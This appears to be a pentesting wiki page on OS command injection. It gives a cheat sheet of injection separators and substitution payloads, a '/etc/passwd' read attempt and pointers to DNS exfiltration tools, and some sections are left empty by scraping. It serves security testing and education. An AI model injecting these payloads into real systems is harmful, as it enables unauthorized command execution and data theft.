Command Injection

A command injection permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system.

Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.

bash

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

If you are trying to execute arbitrary commands inside a linux machine you will be interested to read about this Bypasses:

Bypass Linux Restrictionsarrow-up-right

Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from linkarrow-up-right):

Extracting data: char by char

Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca

Online tools to check for DNS based data exfiltration:

  • dnsbin.zhack.ca

  • pingb.in

Windowsarrow-up-right

Linuxarrow-up-right

Bypass Linux Restrictionsarrow-up-right

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHubarrow-up-right

Last updated